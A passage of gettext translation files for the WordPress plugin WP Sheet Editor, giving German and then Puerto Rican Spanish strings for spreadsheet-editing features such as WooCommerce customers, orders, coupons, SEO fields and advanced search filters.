                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:178 msgid "WooCommerce Customers Spreadsheet" msgstr "Arbeitsblatt für WooCommerce-Kunden" #: wp-sheet-editor/dev/wp-sheet-editor.php:181 msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Zeigen Sie alle Ihre Kunden in einem Arbeitsblatt an. Vollständiges " "Profil anzeigen, Profile schnell bearbeiten, Rechnungs- und " "Versandinformationen anzeigen, erweiterte Kundensuche durchführen, Kunden " "nach Excel oder Google Sheets exportieren, Kunden aus externen Anwendungen " "importieren

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:188 msgid "Media Library Spreadsheet" msgstr "Arbeitsblatt für die Medienbibliothek" #: wp-sheet-editor/dev/wp-sheet-editor.php:191 msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

                  Zeigen Sie das Bild, Videos und alle Dateien aus der WP-Medienbibliothek " "in einem Arbeitsblatt an. Bearbeiten Sie alle Dateifelder, einschließlich " "Alt-Text, Bildunterschriften, Dateibeschreibungen; erweiterte Suche nach " "beliebigen Feldern, automatische Generierung von Alt-Text, Untertiteln usw. " "unter Verwendung von übergeordnetem Beitragstitel oder Beitragskategorie; " "aktualisieren von Tausenden von Dateien auf einmal und mehr.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:193 #: wp-sheet-editor/dev/wp-sheet-editor.php:207 #: wp-sheet-editor/dev/wp-sheet-editor.php:228 #: wp-sheet-editor/dev/wp-sheet-editor.php:242 #: wp-sheet-editor/dev/wp-sheet-editor.php:256 #: wp-sheet-editor/dev/wp-sheet-editor.php:270 #: wp-sheet-editor/dev/wp-sheet-editor.php:285 #: wp-sheet-editor/dev/wp-sheet-editor.php:299 #: wp-sheet-editor/dev/wp-sheet-editor.php:313 msgid "Buy" msgstr "Kaufen" #: wp-sheet-editor/dev/wp-sheet-editor.php:202 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Kategorien, Tags, Attribute in einem Arbeitsblatt bearbeiten" #: wp-sheet-editor/dev/wp-sheet-editor.php:205 msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

                  Ein Arbeitsblatt für Kategorien, Tags, Produktattribute, " "Ereigniskategorien, Portfoliokategorien, Realstate-Tags usw. Zeigen und " "bearbeiten aller Elemente an einem Ort, Copy/Paste, schnelles Hochladen von " "Kategoriebildern, Hinzufügen von Beschreibungen, Bearbeiten von SEO usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:223 msgid "WooCommerce Coupons Spreadsheet" msgstr "Arbeitsblatt für WooCommerce-Gutscheinen" #: wp-sheet-editor/dev/wp-sheet-editor.php:226 msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Zeigen Sie WooCommerce-Gutscheine in einem Arbeitsblatt an. Bearbeiten " "Sie alle Gutscheinfelder; erweiterte Suche nach einem beliebigen Feld, " "automatische Generierung von Hunderten von Gutscheinen, Aktualisierung von " "Hunderten von Gutscheinen auf einmal und mehr.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:237 msgid "WooCommerce Orders Spreadsheet" msgstr "Arbeitsblatt für WooCommerce-Bestellungen" #: wp-sheet-editor/dev/wp-sheet-editor.php:240 msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

                  " msgstr "" "

                  Alle Bestellungen schnell einsehen und versenden. Erweiterte Suche nach " "beliebigen Feldern (Versandart, Steuern, MwSt., Zahlungsmethoden, Kunden, " "Produkte usw.), Exportieren von Bestellungen und Kundeninformationen " "einschließlich Gastkunden; schnelles Bearbeiten von Tausenden von " "Bestellungen und mehr.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:251 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Arbeitsblatt für Kommentare, Bewertungen und Bestellhinweise" #: wp-sheet-editor/dev/wp-sheet-editor.php:254 msgid "" "

                  It is the best way to manage your comments, WooCommerce customer " "reviews, event reviews, testimonials, and order notes in a spreadsheet. You " "can make advanced searches by any field (keyword, order note, status, find " "comments by post type, and all the fields). You can bulk edit them, delete " "all at once, export them to excel or external systems, import comments and " "reviews from other systems, and more.

                  " msgstr "" "

                  Es ist die beste Möglichkeit, Ihre Kommentare, WooCommerce-" "Kundenbewertungen, Veranstaltungsbesprechungen, Erfahrungsberichte und " "Bestellnotizen in einem Arbeitsblatt zu verwalten. Sie können eine " "erweiterte Suche nach jedem Feld durchführen (Stichwort, Bestellhinweis, " "Status, Kommentare nach Beitragsart und alle Felder). Sie können sie " "massenweise bearbeiten, alles auf einmal löschen, nach Excel oder in externe " "Systeme exportieren, Kommentare und Bewertungen aus anderen Systemen " "importieren und mehr.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:265 msgid "Custom Database Tables Spreadsheet" msgstr "Benutzerdefiniertes Arbeitsblatt für Datenbanktabellen" #: wp-sheet-editor/dev/wp-sheet-editor.php:268 msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Ein Arbeitsblatt für jede benutzerdefinierte Datenbanktabelle, die von " "anderen Plugins hinzugefügt wurde. Live-Bearbeitung in den Zellen, " "Massenbearbeitung, erweiterte Suche nach beliebigen Feldern, Export und " "Import, Massenlöschung, Verschieben von Informationen zwischen Websites, " "Bearbeiten von Tausenden von Elementen und mehr.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:280 msgid "Easy Digital Downloads Spreadsheet" msgstr "Einfaches Arbeitsblatt für digitale Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:283 msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

                  Zeigen Sie alle EDD-Produkte in einem Arbeitsblatt an, erstellen Sie " "Downloads und Dateien in großen Mengen, bearbeiten Sie Hunderte von " "Produkten auf einmal mit Hilfe von Formeln, erweiterte Suche mit mehreren " "Feldern usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:294 msgid "Events Spreadsheet" msgstr "Arbeitsblatt für Ereignisse" #: wp-sheet-editor/dev/wp-sheet-editor.php:297 msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Zeigen Sie alle Ereignisse in einem Arbeitsblatt an, erstellen Sie " "Ereignisse in großen Mengen, bearbeiten Sie Hunderte von Ereignissen " "gleichzeitig mit Hilfe von Formeln, führen Sie erweiterte Suchvorgänge über " "mehrere Ereignisfelder durch usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:308 msgid "Display the spreadsheet editor in the frontend" msgstr "Den Tabelleneditor im Frontend anzeigen" #: wp-sheet-editor/dev/wp-sheet-editor.php:311 msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom " "Dashboards, etc.

                  " msgstr "" "

                  Erstellen Sie neue Arbeitsblätter mit benutzerdefinierten Spalten und " "teilen Sie die Arbeitsblätter im Frontend mit Ihren Benutzern oder " "Mitarbeitern. Nützlich für Marktplätze, auf denen Anbieter Produkte im " "Arbeitsblatt bearbeiten, Nachrichten oder Veranstaltungseinträge im Frontend " "zulassen, Veranstaltungsverzeichnisse, Webanwendungen, benutzerdefinierte " "Dashboards usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:321 msgid "WooCommerce - Products Integration" msgstr "WooCommerce - Produkt-Integration" #: wp-sheet-editor/dev/wp-sheet-editor.php:324 msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Bearbeiten Sie WooCommerce-Produkte im Arbeitsblatt. Alle Arten von " "Produkten, einschließlich variabler Produkte, herunterladbarer Produkte, " "externer Produkte und einfacher Produkte werden unterstützt. Sie können alle " "Produktfelder im Arbeitsblatt bearbeiten, einschließlich Attribute, Bilder " "usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:333 msgid "Custom post types" msgstr "Benutzerdefinierte Beitragstypen" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Bearbeiten Sie Speisekarten, Kurse, Projekte, Portfolios und alle " "benutzerdefinierten Beitragsarten.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:343 msgid "Columns renaming" msgstr "Umbenennung von Spalten" #: wp-sheet-editor/dev/wp-sheet-editor.php:346 msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Sie können die Spalten des Arbeitsblatts umbenennen.
                  Beispiel. " "Anstatt \"Verfasser des Beitrags\" im Arbeitsblatt anzuzeigen, können Sie es " "zu \"Hochgeladen von\" ändern.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 #: wp-sheet-editor/dev/wp-sheet-editor.php:359 #: wp-sheet-editor/dev/wp-sheet-editor.php:452 #: wp-sheet-editor/dev/wp-sheet-editor.php:480 msgid "Install for Free" msgstr "Kostenlos installieren" # php source does not exist #: wp-sheet-editor/dev/wp-sheet-editor.php:355 #, fuzzy msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:358 msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" "

                  Bearbeiten Sie SEO-Titel, Beschreibung, Schlüsselwort und SEO-Punktzahl " "im Arbeitsblatt

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:367 msgid "Advanced Search" msgstr "Erweiterte Suche" #: wp-sheet-editor/dev/wp-sheet-editor.php:370 msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, " "<, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio " "with stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Suchen Sie Beiträge nach Stichwort, Taxonomien, Autor, Datum, Status " "oder benutzerdefinierten Feldern.

                  Suchen Sie in mehreren Feldern mit " "erweiterten Operatoren: =, !=, <, >, LIKE, NOT LIKE

                  Beispiele: " "Finden Sie Produkte aus der Kategorie Audio mit Lagerbestand < 20, oder " "Produkte aus der Kategorie Apple ohne Beitragsbild, oder Produkte ohne " "Bildergalerie, die das Schlüsselwort \"Google\" enthalten.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:377 msgid "Formulas" msgstr "Formeln" #: wp-sheet-editor/dev/wp-sheet-editor.php:380 msgid "" "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Bearbeiten Sie Hunderte von Beiträgen mit nur wenigen Klicks auf einmal. " "Suchen und ersetzen, Ersetzen von URLs und Ausdrücken, Massenspeicherung von " "Werten in Felder, Kopieren von Werten zwischen Feldern, Zusammenführen von " "Feldern usw.

                  Beispiele: Normalen Preis in Sonderpreis kopieren, " "Produktattributnamen aktualisieren usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:387 msgid "Math Formulas" msgstr "Mathematische Formeln" #: wp-sheet-editor/dev/wp-sheet-editor.php:390 msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Bearbeiten Sie Hunderte von Beiträgen auf einmal. Aktualisieren Sie " "numerische Felder mit erweiterten mathematischen Formeln. Beispiel: Preise " "um 10% erhöhen, Inventar verwalten usw. Führen Sie beliebige mathematische " "Formeln aus.

                  Sie können mehrere Felder in der Formel verwenden, z.B. " "\"Normalpreis x Bestand / Sonderpreis\"

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:397 msgid "Advanced Custom Fields" msgstr "Erweiterte benutzerdefinierte Felder" #: wp-sheet-editor/dev/wp-sheet-editor.php:400 msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet " "Automatically. So you can edit custom fields easily.

                  " msgstr "" "

                  Advanced Custom Fields-Metaboxen werden automatisch im Arbeitsblatt " "angezeigt. So können Sie benutzerdefinierte Felder einfach bearbeiten.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:407 msgid "Edit Custom Fields in Spreadsheet" msgstr "Benutzerdefinierte Felder im Arbeitsblatt bearbeiten" #: wp-sheet-editor/dev/wp-sheet-editor.php:410 msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Sie können Spalten für benutzerdefinierte Felder erstellen. " "
                  Bearbeiten Sie Seiteneinstellungen, die durch Ihr Thema hinzugefügt " "wurden, Veranstaltungsdetails, Produktinformationen usw.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:417 msgid "Edit Posts and Pages in Spreadsheet" msgstr "Beiträge und Seiten in einem Arbeitsblatt bearbeiten" #: wp-sheet-editor/dev/wp-sheet-editor.php:420 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Bearbeiten Sie Standard-Beitragsfelder im Arbeitsblatt.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:428 msgid "WooCommerce - BASIC integration" msgstr "WooCommerce - BASIS-Integration" #: wp-sheet-editor/dev/wp-sheet-editor.php:431 msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Sie können nur einfache Produkte bearbeiten. Verfügbare Spalten: Titel, " "URL, Beschreibung, Datum, SKU, regulärer Preis, Sonderpreis, Lagerstatus, " "Lagerbestand verwalten, Lagermenge.

                  Weitere Spalten und Produkttypen " "als Premium-Erweiterung verfügbar.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:439 msgid "Columns visibility" msgstr "Sichtbarkeit der Spalten" #: wp-sheet-editor/dev/wp-sheet-editor.php:442 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" "

                  Sie können Spalten im Arbeitsblatt ein- und ausblenden und sortieren.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:448 msgid "Autofill cells" msgstr "Zellen automatisch füllen" #: wp-sheet-editor/dev/wp-sheet-editor.php:451 msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Sie können Zellen automatisch ausfüllen (kopieren), indem Sie die " "Zellenecke in andere Zellen ziehen, wie Sie es in Excel tun können.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:459 msgid "Basic search" msgstr "Einfache Suche" #: wp-sheet-editor/dev/wp-sheet-editor.php:461 msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Suche im Arbeitsblatt. Suchen Sie Beiträge nach Stichwort, Status und " "Autor.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:469 msgid "Columns resizing" msgstr "Größenänderung von Spalten" #: wp-sheet-editor/dev/wp-sheet-editor.php:471 msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Ändern Sie die Größe der Spalten im Arbeitsblatt, und speichern Sie sie " "für zukünftige Sitzungen.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:477 msgid "Duplicate (Tool)" msgstr "Duplizieren (Werkzeug)" #: wp-sheet-editor/dev/wp-sheet-editor.php:479 msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Fügen Sie dem Arbeitsblatt ein \"Duplikat\"-Werkzeug hinzu. Sie können " "eine Zeile auswählen (Beitrag, Produkt, Gutschein usw.) und viele Kopien " "erstellen.

                  Beispiel. Erstellen Sie 100 Produkte mit den gleichen Tags, " "Abmessungen, Attributen und Variationen. Und ändern Sie nur ein paar Felder " "manuell.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:490 msgid "Everything you need for All Posts Types and Products" msgstr "Alles, was Sie für alle Beiträge, Typen und Produkte benötigen" #: wp-sheet-editor/dev/wp-sheet-editor.php:497 #: wp-sheet-editor/dev/wp-sheet-editor.php:510 msgid "Buy bundle" msgstr "Bundle kaufen" #: wp-sheet-editor/dev/wp-sheet-editor.php:503 msgid "Everything you need for Users and Customers" msgstr "Alles, was Sie für Benutzer und Kunden benötigen" #: wp-sheet-editor/dev/wp-sheet-editor.php:820 msgid "Quick Answers" msgstr "Schnelle Antworten" #: wp-sheet-editor/dev/wp-sheet-editor.php:821 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "Sie können unsere FAQ mit einer Liste von Hunderten von Fragen lesen" #: wp-sheet-editor/dev/wp-sheet-editor.php:825 msgid "Guides and Tutorials" msgstr "Leitfäden und Tutorials" #: wp-sheet-editor/dev/wp-sheet-editor.php:826 msgid "We have +200 tutorials and guides on our blog" msgstr "Wir haben +200 Tutorials und Anleitungen in unserem Blog" #: wp-sheet-editor/dev/wp-sheet-editor.php:831 msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Erhalten Sie sofortige Hilfe im Live-Chat + E-Mail-Support während der " "Geschäftszeiten" #: wp-sheet-editor/dev/wp-sheet-editor.php:871 msgid "WP Sheet Editor Usage" msgstr "Verwendung des WP Sheet Editors" #: wpml/inc/post.php:126 msgid "WPML - Duplicate" msgstr "WPML - Duplikat" #: wpml/inc/post.php:134 msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Geben Sie mehrere durch Kommata getrennte Sprachcodes ein, und wir erstellen " "Kopien der Hauptsprache. Zum Beispiel: en, es. Bestehende Sprachen werden " "übersprungen." #: wpml/inc/post.php:142 wpml/inc/term.php:35 msgid "WPML - Translation of" msgstr "WPML - Übersetzung von" #: wpml/inc/post.php:157 msgid "WPML - Relationship" msgstr "WPML - Beziehung" #: wpml/inc/post.php:168 msgid "Duplicate from the main language" msgstr "Von der Hauptsprache duplizieren" #: wpml/inc/post.php:169 msgid "Translate separately" msgstr "Separat übersetzen" #: wpml/inc/post.php:180 wpml/inc/term.php:49 msgid "WPML - Language" msgstr "WPML - Sprache" #: wpml/inc/post.php:191 wpml/inc/term.php:63 msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Sie können die Sprache dieses Beitrags ändern. Wenn die Übersetzung für die " "neue Sprache vorhanden ist, wird diese Änderung nicht übernommen." #: wpml/inc/post.php:199 msgid "WPML - Translation priority" msgstr "WPML - Priorität der Übersetzung" #: yoast-seo/yoast-seo.php:26 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Bitte aktualisieren Sie das WP Sheet Editor Plugin und alle seine " "Erweiterungen auf die neueste Version. Die Eigenschaften des Plugins \"" #: yoast-seo/yoast-seo.php:226 msgid "SEO Title" msgstr "SEO Titel" #: yoast-seo/yoast-seo.php:238 msgid "SEO Description" msgstr "SEO Beschreibung" #: yoast-seo/yoast-seo.php:249 msgid "SEO Keyword" msgstr "SEO Schlüsselwort" #: yoast-seo/yoast-seo.php:260 msgid "SEO FB title" msgstr "SEO FB Titel" #: yoast-seo/yoast-seo.php:269 msgid "SEO FB description" msgstr "SEO FB Beschreibung" #: yoast-seo/yoast-seo.php:278 msgid "SEO FB image" msgstr "SEO FB Bild" #: yoast-seo/yoast-seo.php:289 msgid "SEO TW title" msgstr "SEO TW Titel" #: yoast-seo/yoast-seo.php:298 msgid "SEO TW description" msgstr "SEO TW Beschreibung" #: yoast-seo/yoast-seo.php:307 msgid "SEO TW image" msgstr "SEO TW Bild" #: yoast-seo/yoast-seo.php:318 msgid "SEO Canonical URL" msgstr "SEO Canonical URL" #: yoast-seo/yoast-seo.php:334 msgid "SEO No Index" msgstr "SEO Kein Index" #: yoast-seo/yoast-seo.php:346 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:363 msgid "SEO Primary %s" msgstr "SEO Primär %s" modules/wp-sheet-editor/lang/vg_sheet_editor-es_PR.po000064400001165603147600365160016721 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-07-12T19:16:48+00:00\n" "PO-Revision-Date: 2023-07-19 13:16-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_PR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.3.1\n" #: acf/acf.php:84 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" "ACF: ¿Mostrar las casillas de verificación como desplegados de selección " "múltiple?" #: acf/acf.php:85 msgid "" "By default, we show every checkbox as a separate column, but if you have " "checkboxes with many options you might want to use one column with a " "dropdown instead." msgstr "" "Por defecto, mostramos cada casilla de verificación como una columna " "separada, pero si tienes casillas de verificación con muchas opciones es " "posible que desees utilizar una columna con un desplegable en su lugar." #: acf/acf.php:377 msgid "" "You need to configure your Google Maps API key to save the Google Maps " "columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" "Tienes que configurar la API key de Google Maps para poder guardar valores " "en las columnas de mapas de Advanced Custom Fields. Esto es requerido por " "Advanced Custom Fields, puedes seguir este tutorial" #: acf/acf.php:915 msgid "Enter a title" msgstr "Ingresa un título" #: acf/acf.php:1144 msgid "Row" msgstr "Fila" #: advanced-filters/advanced-filters.php:48 #: advanced-filters/advanced-filters.php:70 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 formulas/formulas.php:590 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 woocommerce/inc/variations.php:1618 #: woocommerce/inc/variations.php:1637 #: wp-sheet-editor/dev/inc/api/editor.php:161 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1187 msgid "You dont have enough permissions to view this page." msgstr "No tienes suficientes permisos para ver esta página." #: advanced-filters/advanced-filters.php:132 msgid "Save this search" msgstr "Guardar esta búsqueda" #: advanced-filters/advanced-filters.php:133 msgid "Enter a name..." msgstr "Ingresa un nombre..." #: advanced-filters/advanced-filters.php:441 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "Padre" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "Ingresa %s" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Ingresa los nombres de " #: advanced-filters/advanced-filters.php:638 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Nombre de la categoría..." #: advanced-filters/advanced-filters.php:650 #: advanced-filters/advanced-filters.php:707 #: advanced-filters/advanced-filters.php:762 filters/filters.php:540 msgid "Select..." msgstr "Seleccionar..." #: advanced-filters/advanced-filters.php:705 msgid "Field" msgstr "Campo" #: advanced-filters/advanced-filters.php:714 msgid "Last edit" msgstr "Última modificación" #: advanced-filters/advanced-filters.php:715 msgid "Old slug" msgstr "Slug antiguo" #: advanced-filters/advanced-filters.php:716 filters/filters.php:508 #: wp-sheet-editor/dev/inc/api/bootstrap.php:662 msgid "Author" msgstr "Autor" #: advanced-filters/advanced-filters.php:717 msgid "Date (GMT)" msgstr "Fecha (GMT)" #: advanced-filters/advanced-filters.php:718 msgid "Modified Date (GMT)" msgstr "Fecha de Modificación (GMT)" #: advanced-filters/advanced-filters.php:719 #: wp-sheet-editor/dev/inc/api/bootstrap.php:725 msgid "Comments" msgstr "Comentarios" #: advanced-filters/advanced-filters.php:720 msgid "Ping status" msgstr "Estado del ping" #: advanced-filters/advanced-filters.php:721 #: wp-sheet-editor/dev/inc/api/bootstrap.php:501 msgid "URL Slug" msgstr "URL Slug" #: advanced-filters/advanced-filters.php:722 #: wp-sheet-editor/dev/inc/api/bootstrap.php:759 msgid "Page Parent" msgstr "Página Padre" #: advanced-filters/advanced-filters.php:723 msgid "Mime type" msgstr "Tipo de MIME" #: advanced-filters/advanced-filters.php:724 msgid "Comment count" msgstr "Recuento de comentarios" #: advanced-filters/advanced-filters.php:725 msgid "EDD Variable Prices" msgstr "Precio variable EDD" #: advanced-filters/advanced-filters.php:726 msgid "EDD Download Files" msgstr "Archivos de descarga EDD" #: advanced-filters/advanced-filters.php:757 msgid "A field is missing? Click here" msgstr "¿Faltan campos? Haz clic aquí" #: advanced-filters/advanced-filters.php:761 msgid "Operator" msgstr "Operador" #: advanced-filters/advanced-filters.php:767 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/variations.php:507 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:947 msgid "Value" msgstr "Valor" #: advanced-filters/advanced-filters.php:772 #: advanced-filters/advanced-filters.php:798 #: wp-sheet-editor/dev/inc/api/bootstrap.php:276 msgid "Add new" msgstr "Añadir nuevo" #: advanced-filters/advanced-filters.php:775 msgid "X" msgstr "X" #: advanced-filters/advanced-filters.php:785 msgid "Enable advanced filters" msgstr "Habilitar filtros avanzados" #: advanced-filters/advanced-filters.php:788 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Búsqueda avanzada" #: advanced-filters/advanced-filters.php:790 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Puedes buscar por cualquier campo usando operadores. Por ejemplo: precio > " "100, imagen != (vacío)" #: advanced-filters/advanced-filters.php:807 msgid "NOT Contains this keyword" msgstr "No Contiene esta palabra clave" #: advanced-filters/advanced-filters.php:807 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Ingresa una palabra clave para excluir filas. Separa múltiples palabras " "claves con un punto y coma (;)" #: advanced-filters/advanced-filters.php:811 msgid "Find these IDs:" msgstr "Encontrar estos IDs:" #: advanced-filters/advanced-filters.php:811 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Ingresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. " "Puedes agregar rangos como 20-50 como un acceso directo." #: advanced-filters/advanced-filters.php:816 msgid "Find these URLs:" msgstr "Encontrar estas URLs:" #: advanced-filters/advanced-filters.php:816 msgid "Enter one URL per line" msgstr "Ingresa una URL por línea" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Fecha Inicial" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Mostrar elementos publicados entre estas fechas" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "Fecha final" #: advanced-filters/advanced-filters.php:839 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" "Cualquiera de estos valores (Ingresa múltiples valores separados por ;)" #: advanced-filters/advanced-filters.php:840 msgid "CONTAINS" msgstr "CONTIENE" #: advanced-filters/advanced-filters.php:841 msgid "NOT CONTAINS" msgstr "NO CONTIENE" #: advanced-filters/advanced-filters.php:842 msgid "STARTS WITH" msgstr "INICIA CON" #: advanced-filters/advanced-filters.php:843 msgid "ENDS WITH" msgstr "TERMINA CON" #: advanced-filters/advanced-filters.php:844 msgid "CHARACTER LENGTH <" msgstr "CANTIDAD DE CARACTERES <" #: advanced-filters/advanced-filters.php:845 msgid "CHARACTER LENGTH >" msgstr "CANTIDAD DE CARACTERES >" #: advanced-filters/advanced-filters.php:846 msgid "REGEXP" msgstr "REGEXP" #: advanced-filters/advanced-filters.php:847 msgid "In the last x hours" msgstr "En las últimas X horas" #: advanced-filters/advanced-filters.php:848 msgid "In the last x days" msgstr "En los últimos X días" #: advanced-filters/advanced-filters.php:849 msgid "In the last x weeks" msgstr 